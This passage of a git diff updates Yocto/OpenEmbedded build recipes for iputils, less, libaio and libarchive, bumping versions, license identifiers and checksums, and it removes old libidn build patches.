-HOMEPAGE = "https://github.com/iputils/iputils"
-SECTION = "console/network"
-
-LICENSE = "BSD & GPLv2+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390"
-
-DEPENDS = "gnutls"
-
-SRC_URI = "git://github.com/iputils/iputils"
-SRCREV = "13e00847176aa23683d68fce1d17ffb523510946"
-
-S = "${WORKDIR}/git"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>s\d+)"
-
-PACKAGECONFIG ??= "libcap libgcrypt rarpd traceroute6"
-PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false, libcap"
-PACKAGECONFIG[libgcrypt] = "-DUSE_CRYPTO=gcrypt, -DUSE_CRYPTO=none, libgcrypt"
-PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
-PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
-PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
-PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false,"
-PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
-
-inherit meson update-alternatives
-
-EXTRA_OEMESON += "--prefix=${root_prefix}/"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-traceroute6 ${PN}-clockdiff ${PN}-tftpd ${PN}-rarpd ${PN}-rdisc ${PN}-ninfod"
-PACKAGES += "${SPLITPKGS}"
-
-ALLOW_EMPTY_${PN} = "1"
-ALLOW_EMPTY_${PN}-rarpd = "1"
-ALLOW_EMPTY_${PN}-traceroute6 = "1"
-RDEPENDS_${PN} += "${SPLITPKGS}"
-
-FILES_${PN} = ""
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-arping = "${base_bindir}/arping"
-FILES_${PN}-tracepath = "${base_bindir}/tracepath"
-FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6"
-FILES_${PN}-clockdiff = "${base_bindir}/clockdiff"
-FILES_${PN}-tftpd = "${base_bindir}/tftpd"
-FILES_${PN}-rarpd = "${base_sbindir}/rarpd"
-FILES_${PN}-rdisc = "${base_sbindir}/rdisc"
-FILES_${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
diff --git a/meta/recipes-extended/less/less_551.bb b/meta/recipes-extended/less/less_551.bb
deleted file mode 100644
index a818c68fc7..0000000000
--- a/meta/recipes-extended/less/less_551.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Text file viewer similar to more"
-DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
-based program for viewing text files and the output from other \
-programs. Less offers many features beyond those that more does."
-HOMEPAGE = "http://www.greenwoodsoftware.com/"
-SECTION = "console/utils"
-
-# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less
-# Including email author giving permissing to use BSD
-#
-# From: Mark Nudelman <markn@greenwoodsoftware.com>
-# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
-# Date: 12/19/11
-#
-# Hi Elizabeth,
-# Using a generic BSD license for less is fine with me.
-# Thanks,
-#
-# --Mark
-#
-
-LICENSE = "GPLv3+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \
- "
-DEPENDS = "ncurses"
-
-SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
- "
-
-SRC_URI[md5sum] = "4ad4408b06d7a6626a055cb453f36819"
-SRC_URI[sha256sum] = "ff165275859381a63f19135a8f1f6c5a194d53ec3187f94121ecd8ef0795fe3d"
-
-UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
-
-inherit autotools update-alternatives
-
-do_install () {
- oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
-}
-
-ALTERNATIVE_${PN} = "less"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/less/less_600.bb b/meta/recipes-extended/less/less_600.bb
new file mode 100644
index 0000000000..9ebe39daab
--- /dev/null
+++ b/meta/recipes-extended/less/less_600.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Text file viewer similar to more"
+DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
+based program for viewing text files and the output from other \
+programs. Less offers many features beyond those that more does."
+HOMEPAGE = "http://www.greenwoodsoftware.com/"
+SECTION = "console/utils"
+
+# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less
+# Including email author giving permissing to use BSD
+#
+# From: Mark Nudelman <markn@greenwoodsoftware.com>
+# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
+# Date: 12/19/11
+#
+# Hi Elizabeth,
+# Using a generic BSD license for less is fine with me.
+# Thanks,
+#
+# --Mark
+#
+
+LICENSE = "GPL-3.0-or-later | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://LICENSE;md5=38fc26d78ca8d284a2a5a4bbc263d29b \
+ "
+DEPENDS = "ncurses"
+
+SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
+ "
+
+SRC_URI[sha256sum] = "6633d6aa2b3cc717afb2c205778c7c42c4620f63b1d682f3d12c98af0be74d20"
+
+UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
+
+inherit autotools update-alternatives
+
+do_install () {
+ oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
+}
+
+ALTERNATIVE:${PN} = "less"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/destdir.patch b/meta/recipes-extended/libaio/libaio/destdir.patch
deleted file mode 100644
index 0f90406bee..0000000000
--- a/meta/recipes-extended/libaio/libaio/destdir.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-from openembedded, added by Qing He <qing.he@intel.com>
-
-Index: libaio-0.3.110/Makefile
-===================================================================
---- libaio-0.3.110.orig/Makefile
-+++ libaio-0.3.110/Makefile
-@@ -15,7 +15,7 @@ all:
- @$(MAKE) -C src
-
- install:
-- @$(MAKE) -C src install prefix=$(prefix) includedir=$(includedir) libdir=$(libdir)
-+ @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) includedir=$(DESTDIR)$(includedir) libdir=$(DESTDIR)$(libdir)
-
- check:
- @$(MAKE) -C harness check
diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch
index 0b1f475697..cc91ea99d9 100644
--- a/meta/recipes-extended/libaio/libaio/system-linkage.patch
+++ b/meta/recipes-extended/libaio/libaio/system-linkage.patch
@@ -12,26 +12,22 @@ undefined reference to `__stack_chk_fail_local'
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
- src/Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/Makefile b/src/Makefile
-index eadb336..56ab701 100644
+index 37ae219..22e0c9a 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -3,10 +3,10 @@ includedir=$(prefix)/include
- libdir=$(prefix)/lib
-
- CFLAGS ?= -g -fomit-frame-pointer -O2
--CFLAGS += -nostdlib -nostartfiles -Wall -I. -fPIC
-+CFLAGS += -Wall -I. -fPIC
+@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2
+ CFLAGS += -Wall -I. -fPIC
SO_CFLAGS=-shared $(CFLAGS)
L_CFLAGS=$(CFLAGS)
-LINK_FLAGS=
+LINK_FLAGS=$(LDFLAGS)
LINK_FLAGS+=$(LDFLAGS)
+ ENABLE_SHARED ?= 1
- soname=libaio.so.1
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-extended/libaio/libaio_0.3.111.bb b/meta/recipes-extended/libaio/libaio_0.3.111.bb
deleted file mode 100644
index 8e1cd349a0..0000000000
--- a/meta/recipes-extended/libaio/libaio_0.3.111.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Asynchronous I/O library"
-DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
-HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
-
-SRC_URI = "git://pagure.io/libaio.git;protocol=https \
- file://00_arches.patch \
- file://destdir.patch \
- file://libaio_fix_for_mips_syscalls.patch \
- file://system-linkage.patch \
- "
-SRCREV = "f66be22ab0a59a39858900ab72a8c6a6e8b0b7ec"
-S = "${WORKDIR}/git"
-
-EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
-
-do_install () {
- oe_runmake install DESTDIR=${D}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libaio/libaio_0.3.112.bb b/meta/recipes-extended/libaio/libaio_0.3.112.bb
new file mode 100644
index 0000000000..859ba65c9f
--- /dev/null
+++ b/meta/recipes-extended/libaio/libaio_0.3.112.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Asynchronous I/O library"
+DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
+HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
+
+SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
+ file://00_arches.patch \
+ file://libaio_fix_for_mips_syscalls.patch \
+ file://system-linkage.patch \
+ "
+SRCREV = "d025927efa75a0d1b46ca3a5ef331caa2f46ee0e"
+S = "${WORKDIR}/git"
+
+EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
+
+do_install () {
+ oe_runmake install DESTDIR=${D}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive_3.4.0.bb b/meta/recipes-extended/libarchive/libarchive_3.4.0.bb
deleted file mode 100644
index 9c0d5e26ec..0000000000
--- a/meta/recipes-extended/libarchive/libarchive_3.4.0.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "Support for reading various archive formats"
-DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
-HOMEPAGE = "http://www.libarchive.org/"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fe01f5e02b1f0cc934d593a7b0ddceb6"
-
-DEPENDS = "e2fsprogs-native"
-
-PACKAGECONFIG ?= "zlib bz2 xz lzo"
-
-PACKAGECONFIG_append_class-target = "\
- libxml2 \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
-
-DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
-
-PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
-PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
-PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
-PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
-PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
-PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
-PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
-PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
-
-EXTRA_OECONF += "--enable-largefile"
-
-SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz \
-"
-
-SRC_URI[md5sum] = "6046396255bd7cf6d0f6603a9bda39ac"
-SRC_URI[sha256sum] = "8643d50ed40c759f5412a3af4e353cffbce4fdf3b5cf321cb72cacf06b2d825e"
-
-inherit autotools update-alternatives pkgconfig
-
-CPPFLAGS += "-I${WORKDIR}/extra-includes"
-
-do_configure[cleandirs] += "${WORKDIR}/extra-includes"
-do_configure_prepend() {
- # We just need the headers for some type constants, so no need to
- # build all of e2fsprogs for the target
- cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
-}
-
-ALTERNATIVE_PRIORITY = "80"
-
-PACKAGES =+ "bsdtar"
-FILES_bsdtar = "${bindir}/bsdtar"
-
-ALTERNATIVE_bsdtar = "tar"
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
-
-PACKAGES =+ "bsdcpio"
-FILES_bsdcpio = "${bindir}/bsdcpio"
-
-ALTERNATIVE_bsdcpio = "cpio"
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive_3.6.0.bb b/meta/recipes-extended/libarchive/libarchive_3.6.0.bb
new file mode 100644
index 0000000000..f078c8ad03
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive_3.6.0.bb
@@ -0,0 +1,67 @@
+SUMMARY = "Support for reading various archive formats"
+DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
+HOMEPAGE = "http://www.libarchive.org/"
+SECTION = "devel"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665"
+
+DEPENDS = "e2fsprogs-native"
+
+PACKAGECONFIG ?= "zlib bz2 xz lzo zstd"
+
+PACKAGECONFIG:append:class-target = "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
+"
+
+DEPENDS_BZIP2 = "bzip2-replacement-native"
+DEPENDS_BZIP2:class-target = "bzip2"
+
+PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
+PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
+PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
+PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
+PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
+PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
+PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
+PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
+PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
+
+EXTRA_OECONF += "--enable-largefile"
+
+SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "http://libarchive.org/"
+
+SRC_URI[sha256sum] = "a36613695ffa2905fdedc997b6df04a3006ccfd71d747a339b78aa8412c3d852"
+
+inherit autotools update-alternatives pkgconfig
+
+CPPFLAGS += "-I${WORKDIR}/extra-includes"
+
+do_configure[cleandirs] += "${WORKDIR}/extra-includes"
+do_configure:prepend() {
+ # We just need the headers for some type constants, so no need to
+ # build all of e2fsprogs for the target
+ cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
+}
+
+ALTERNATIVE_PRIORITY = "80"
+
+PACKAGES =+ "bsdtar"
+FILES:bsdtar = "${bindir}/bsdtar"
+
+ALTERNATIVE:bsdtar = "tar"
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
+
+PACKAGES =+ "bsdcpio"
+FILES:bsdcpio = "${bindir}/bsdcpio"
+
+ALTERNATIVE:bsdcpio = "cpio"
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch b/meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch
deleted file mode 100644
index 5adc7d9fd9..0000000000
--- a/meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch
+++ /dev/null
@@ -1,181 +0,0 @@
-From 82f98dcbc429bbe89a9837c533cbcbc02e77c790 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andr=C3=A9=20Draszik?= <adraszik@tycoint.com>
-Date: Tue, 28 Jun 2016 12:43:31 +0100
-Subject: [PATCH] idn: fix printf() format security warnings
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../../libidn-1.32/src/idn.c: In function 'main':
-| ../../libidn-1.32/src/idn.c:172:7: error: format not a string literal and no format arguments [-Werror=format-security]
-| error (0, 0, _("only one of -s, -e, -d, -a, -u or -n can be specified"));
-| ^~~~~
-| ../../libidn-1.32/src/idn.c:187:5: error: format not a string literal and no format arguments [-Werror=format-security]
-| fprintf (stderr, _("Type each input string on a line by itself, "
-| ^~~~~~~
-| ../../libidn-1.32/src/idn.c:202:4: error: format not a string literal and no format arguments [-Werror=format-security]
-| error (EXIT_FAILURE, errno, _("input error"));
-| ^~~~~
-| ../../libidn-1.32/src/idn.c:220:8: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:245:8: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:281:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:340:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UCS-4 to UTF-8"));
-| ^
-| ../../libidn-1.32/src/idn.c:364:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UCS-4 to UTF-8"));
-| ^
-| ../../libidn-1.32/src/idn.c:442:8: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UCS-4 to UTF-8"));
-| ^
-| ../../libidn-1.32/src/idn.c:498:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:527:5: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-| ../../libidn-1.32/src/idn.c:540:6: error: format not a string literal and no format arguments [-Werror=format-security]
-| error (EXIT_FAILURE, 0, _("could not do NFKC normalization"));
-| ^~~~~
-| ../../libidn-1.32/src/idn.c:551:5: error: format not a string literal and no format arguments [-Werror=format-security]
-| _("could not convert from UTF-8 to UCS-4"));
-| ^
-
-Signed-off-by: André Draszik <adraszik@tycoint.com>
----
-Upstream-Status: Pending
-
- src/idn.c | 27 ++++++++++++++-------------
- 1 file changed, 14 insertions(+), 13 deletions(-)
-
-diff --git a/src/idn.c b/src/idn.c
-index be1c7d1..68e4291 100644
---- a/src/idn.c
-+++ b/src/idn.c
-@@ -170,7 +170,7 @@ main (int argc, char *argv[])
- (args_info.idna_to_unicode_given ? 1 : 0) +
- (args_info.nfkc_given ? 1 : 0) != 1)
- {
-- error (0, 0, _("only one of -s, -e, -d, -a, -u or -n can be specified"));
-+ error (0, 0, "%s", _("only one of -s, -e, -d, -a, -u or -n can be specified"));
- usage (EXIT_FAILURE);
- }
-
-@@ -185,7 +185,7 @@ main (int argc, char *argv[])
- if (!args_info.quiet_given
- && args_info.inputs_num == 0
- && isatty (fileno (stdin)))
-- fprintf (stderr, _("Type each input string on a line by itself, "
-+ fprintf (stderr, "%s", _("Type each input string on a line by itself, "
- "terminated by a newline character.\n"));
-
- do
-@@ -197,7 +197,7 @@ main (int argc, char *argv[])
- if (feof (stdin))
- break;
-
-- error (EXIT_FAILURE, errno, _("input error"));
-+ error (EXIT_FAILURE, errno, "%s", _("input error"));
- }
-
- if (strlen (line) > 0)
-@@ -215,7 +215,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (p);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
-@@ -240,7 +240,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (r);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
-@@ -277,7 +277,7 @@ main (int argc, char *argv[])
- q = stringprep_utf8_to_ucs4 (p, -1, &len);
- free (p);
- if (!q)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
-
- if (args_info.debug_given)
-@@ -336,7 +336,7 @@ main (int argc, char *argv[])
- r = stringprep_ucs4_to_utf8 (q, -1, NULL, NULL);
- free (q);
- if (!r)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UCS-4 to UTF-8"));
-
- p = stringprep_utf8_to_locale (r);
-@@ -360,7 +360,7 @@ main (int argc, char *argv[])
- q = stringprep_utf8_to_ucs4 (p, -1, NULL);
- free (p);
- if (!q)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UCS-4 to UTF-8"));
-
- if (args_info.debug_given)
-@@ -438,7 +438,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (p);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UCS-4 to UTF-8"));
- }
-
-@@ -494,7 +494,7 @@ main (int argc, char *argv[])
- r = stringprep_ucs4_to_utf8 (q, -1, NULL, NULL);
- free (q);
- if (!r)
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
-
- p = stringprep_utf8_to_locale (r);
-@@ -523,7 +523,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (p);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
-@@ -537,7 +537,8 @@ main (int argc, char *argv[])
- r = stringprep_utf8_nfkc_normalize (p, -1);
- free (p);
- if (!r)
-- error (EXIT_FAILURE, 0, _("could not do NFKC normalization"));
-+ error (EXIT_FAILURE, 0, "%s",
-+ _("could not do NFKC normalization"));
-
- if (args_info.debug_given)
- {
-@@ -547,7 +548,7 @@ main (int argc, char *argv[])
- if (!q)
- {
- free (r);
-- error (EXIT_FAILURE, 0,
-+ error (EXIT_FAILURE, 0, "%s",
- _("could not convert from UTF-8 to UCS-4"));
- }
-
---
-2.8.1
-
diff --git a/meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch b/meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch
deleted file mode 100644
index 43bd232944..0000000000
--- a/meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From cdd9e2e960eeb4eda7b08f0113d0cd03524c1d45 Mon Sep 17 00:00:00 2001
-From: Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: Tue, 10 Jul 2012 02:44:30 -0700
-Subject: [PATCH] libidn: fix build with automake 1.12
-
-Upstream-Status: Inappropriate
-
-automake 1.12.x has deprecated AM_PROG_MKDIR_P , and throws a warning for that,
-and the warnings are treated as errors because of the -Werror parameter.
-
-These AM_PROG_MKDIR_P are coming from gettext, and the latest gettext code has not
-eliminated these deprecated macros yet. So disable the treatment of warnings
-as errors until gettext is updated to remove the deprecated macros.
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/07/10
-
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 261dad2..c4f935e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -22,7 +22,7 @@ AC_INIT([GNU Libidn], [1.34], [bug-libidn@gnu.org])
- AC_CONFIG_AUX_DIR([build-aux])
- AC_CONFIG_MACRO_DIR([m4])
- AC_CONFIG_HEADERS(config.h)
--AM_INIT_AUTOMAKE([1.10 -Wall -Werror -Wno-override])
-+AM_INIT_AUTOMAKE([1.10 -Wall -Wno-override])
- m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])])
-
- # Library code modified: REVISION++
diff --git a/meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch b/meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch
deleted file mode 100644
index 0863530f29..0000000000
--- a/meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurdd libidn-1.26/doc/Makefile.am libidn-1.26/doc/Makefile.am
---- libidn-1.26/doc/Makefile.am 2012-09-18 11:25:45.000000000 +0300
-+++ libidn-1.26/doc/Makefile.am 2013-02-08 07:41:24.591431462 +0200
-@@ -49,15 +49,9 @@
-
- # Man pages.
-
--dist_man_MANS = idn.1 $(gdoc_MANS)
-+dist_man_MANS = $(gdoc_MANS)
- MAINTAINERCLEANFILES = $(dist_man_MANS)
-
--idn.1: $(top_srcdir)/src/idn.c $(top_srcdir)/src/idn.ggo \
-- $(top_srcdir)/configure.ac
-- $(HELP2MAN) \
-- --name="Internationalized Domain Names command line tool" \
-- --output=$@ $(top_builddir)/src/idn$(EXEEXT)
--
- # GDOC
-
- GDOC_BIN = $(srcdir)/gdoc
diff --git a/meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch b/meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch
deleted file mode 100644
index 3c0559e34f..0000000000
--- a/meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From d4f64b78419139eda3c0e1c6ee116bb5f70ea67c Mon Sep 17 00:00:00 2001
-From: Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: Wed, 2 May 2012 18:05:19 -0700
-Subject: [PATCH] libtasn1: fix build with automake 1.12
-
-Upstream-Status: Pending
-
-This patch fixes following issue with automake 1.12
-
-| automake: warnings are treated as errors
-| /srv/home/nitin/builds/build-gcc47/tmp/sysroots/x86_64-linux/usr/share/automake-1.12/am/ltlibrary.am: warning: 'libidn.la': linking libtool libraries using a non-POSIX
-| /srv/home/nitin/builds/build-gcc47/tmp/sysroots/x86_64-linux/usr/share/automake-1.12/am/ltlibrary.am: archiver requires 'AM_PROG_AR' in 'configure.ac'
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/05/03
-
----
- configure.ac | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 8297649..7b9626e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -33,6 +33,10 @@ AC_SUBST(LT_CURRENT, 18)
- AC_SUBST(LT_REVISION, 0)
- AC_SUBST(LT_AGE, 6)
-
-+# automake 1.12 seems to require this, but automake 1.11 doesn't recognize it
-+m4_pattern_allow([AM_PROG_AR])
-+AM_PROG_AR
-+
- AC_PROG_CC
- gl_EARLY
- lgl_EARLY
diff --git a/meta/recipes-extended/libidn/libidn2_2.2.0.bb b/meta/recipes-extended/libidn/libidn2_2.2.0.bb
deleted file mode 100644
index bcbfdd85b9..0000000000
--- a/meta/recipes-extended/libidn/libidn2_2.2.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Internationalized Domain Name support library"
-DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
-HOMEPAGE = "http://www.gnu.org/software/libidn/"
-SECTION = "libs"
-LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
- file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/idn2.c;endline=16;md5=426b74d6deb620ab6d39c8a6efd4c13a \
